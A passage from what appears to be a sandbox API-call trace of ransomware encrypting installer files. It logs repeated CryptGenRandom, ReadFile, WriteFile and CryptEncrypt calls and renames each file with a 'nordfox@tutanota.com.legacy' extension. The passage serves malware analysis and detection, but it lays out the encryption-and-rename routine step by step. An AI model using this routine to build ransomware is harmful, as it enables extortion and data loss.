hHeap=0x520000) returned 1 [0070.987] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0070.987] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=96088) returned 1 [0070.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17758) returned 0x57f150 [0070.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17758) returned 0x5968b0 [0070.988] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x17758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x17758, lpOverlapped=0x0) returned 1 [0070.992] SetFilePointer (in: hFile=0x454, lDistanceToMove=-96088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.992] WriteFile (in: hFile=0x454, lpBuffer=0x5968b0*, nNumberOfBytesToWrite=0x17758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5968b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17758, lpOverlapped=0x0) returned 1 [0070.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0070.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5968b0 | out: hHeap=0x520000) returned 1 [0070.996] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17758 [0070.996] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0070.996] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0070.998] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0070.998] WriteFile (in: hFile=0x454, lpBuffer=0x54d190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0070.998] CloseHandle (hObject=0x454) returned 1 [0071.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0071.010] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), lpNewFileName="\\588bce7c90097ed212\\SetupUtility.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0071.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0071.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0071.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0071.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.012] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0071.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.012] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0071.012] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupUi.xsd", dwFileAttributes=0x80) returned 1 [0071.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0071.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0071.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0071.013] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.013] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=30120) returned 1 [0071.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x75a8) returned 0x57f150 [0071.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x75a8) returned 0x586700 [0071.013] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x75a8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x75a8, lpOverlapped=0x0) returned 1 [0071.028] SetFilePointer (in: hFile=0x454, lDistanceToMove=-30120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.028] WriteFile (in: hFile=0x454, lpBuffer=0x586700*, nNumberOfBytesToWrite=0x75a8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x586700*, lpNumberOfBytesWritten=0x2e1f9bc*=0x75a8, lpOverlapped=0x0) returned 1 [0071.028] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0071.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x586700 | out: hHeap=0x520000) returned 1 [0071.032] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x75a8 [0071.032] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0071.032] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0071.033] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0071.033] WriteFile (in: hFile=0x454, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.034] CloseHandle (hObject=0x454) returned 1 [0071.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.035] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0071.035] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), lpNewFileName="\\588bce7c90097ed212\\SetupUi.xsd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0071.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0071.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f08 | out: hHeap=0x520000) returned 1 [0071.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0071.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0071.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0071.037] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupUi.dll", dwFileAttributes=0x80) returned 1 [0071.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0071.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0071.037] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0071.037] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.038] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=295248) returned 1 [0071.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x48150) returned 0x57f150 [0071.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x48150) returned 0x2e20048 [0071.039] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x48150, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x48150, lpOverlapped=0x0) returned 1 [0071.059] SetFilePointer (in: hFile=0x454, lDistanceToMove=-295248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.059] WriteFile (in: hFile=0x454, lpBuffer=0x2e20048*, nNumberOfBytesToWrite=0x48150, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x48150, lpOverlapped=0x0) returned 1 [0071.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0071.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20048 | out: hHeap=0x520000) returned 1 [0071.060] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x48150 [0071.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0071.060] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0071.064] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0071.064] WriteFile (in: hFile=0x454, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.064] CloseHandle (hObject=0x454) returned 1 [0071.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0071.073] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), lpNewFileName="\\588bce7c90097ed212\\SetupUi.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0071.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c38 | out: hHeap=0x520000) returned 1 [0071.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0071.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0071.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0071.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0071.079] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupEngine.dll", dwFileAttributes=0x80) returned 1 [0071.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0071.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0071.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0071.081] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.081] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=807256) returned 1 [0071.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc5158) returned 0x2f2e020 [0071.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc5158) returned 0x300b020 [0071.086] ReadFile (in: hFile=0x454, lpBuffer=0x2f2e020, nNumberOfBytesToRead=0xc5158, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f2e020*, lpNumberOfBytesRead=0x2e1f9bc*=0xc5158, lpOverlapped=0x0) returned 1 [0071.115] SetFilePointer (in: hFile=0x454, lDistanceToMove=-807256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.115] WriteFile (in: hFile=0x454, lpBuffer=0x300b020*, nNumberOfBytesToWrite=0xc5158, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x300b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc5158, lpOverlapped=0x0) returned 1 [0071.118] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f2e020 | out: hHeap=0x520000) returned 1 [0071.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x300b020 | out: hHeap=0x520000) returned 1 [0071.127] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc5158 [0071.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0071.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0071.129] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0071.129] WriteFile (in: hFile=0x454, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.129] CloseHandle (hObject=0x454) returned 1 [0071.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0071.151] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), lpNewFileName="\\588bce7c90097ed212\\SetupEngine.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0071.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0071.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0071.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e78 [0071.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0071.172] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.172] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0c0 | out: pbBuffer=0x54d0c0) returned 1 [0071.172] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Setup.exe", dwFileAttributes=0x80) returned 1 [0071.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0071.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0071.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0071.172] CreateFileW (lpFileName="\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.172] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=78152) returned 1 [0071.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13148) returned 0x2e20048 [0071.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13148) returned 0x2e33198 [0071.173] ReadFile (in: hFile=0x454, lpBuffer=0x2e20048, nNumberOfBytesToRead=0x13148, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x13148, lpOverlapped=0x0) returned 1 [0071.176] SetFilePointer (in: hFile=0x454, lDistanceToMove=-78152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.176] WriteFile (in: hFile=0x454, lpBuffer=0x2e33198*, nNumberOfBytesToWrite=0x13148, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e33198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13148, lpOverlapped=0x0) returned 1 [0071.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20048 | out: hHeap=0x520000) returned 1 [0071.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e33198 | out: hHeap=0x520000) returned 1 [0071.180] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13148 [0071.180] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0071.180] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0071.182] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0071.182] WriteFile (in: hFile=0x454, lpBuffer=0x54d0c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.182] CloseHandle (hObject=0x454) returned 1 [0071.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0071.189] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), lpNewFileName="\\588bce7c90097ed212\\Setup.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\setup.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0071.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e78 | out: hHeap=0x520000) returned 1 [0071.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0071.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0071.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0071.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0071.209] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi", dwFileAttributes=0x80) returned 1 [0071.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0071.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0071.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0071.212] CreateFileW (lpFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.212] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=94720) returned 1 [0071.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17200) returned 0x2e20048 [0071.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17200) returned 0x2e37250 [0071.213] ReadFile (in: hFile=0x454, lpBuffer=0x2e20048, nNumberOfBytesToRead=0x17200, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x17200, lpOverlapped=0x0) returned 1 [0071.238] SetFilePointer (in: hFile=0x454, lDistanceToMove=-94720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.238] WriteFile (in: hFile=0x454, lpBuffer=0x2e37250*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e37250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17200, lpOverlapped=0x0) returned 1 [0071.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20048 | out: hHeap=0x520000) returned 1 [0071.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e37250 | out: hHeap=0x520000) returned 1 [0071.241] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17200 [0071.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0071.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0071.242] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0071.243] WriteFile (in: hFile=0x454, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.243] CloseHandle (hObject=0x454) returned 1 [0071.249] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.249] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0071.249] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: 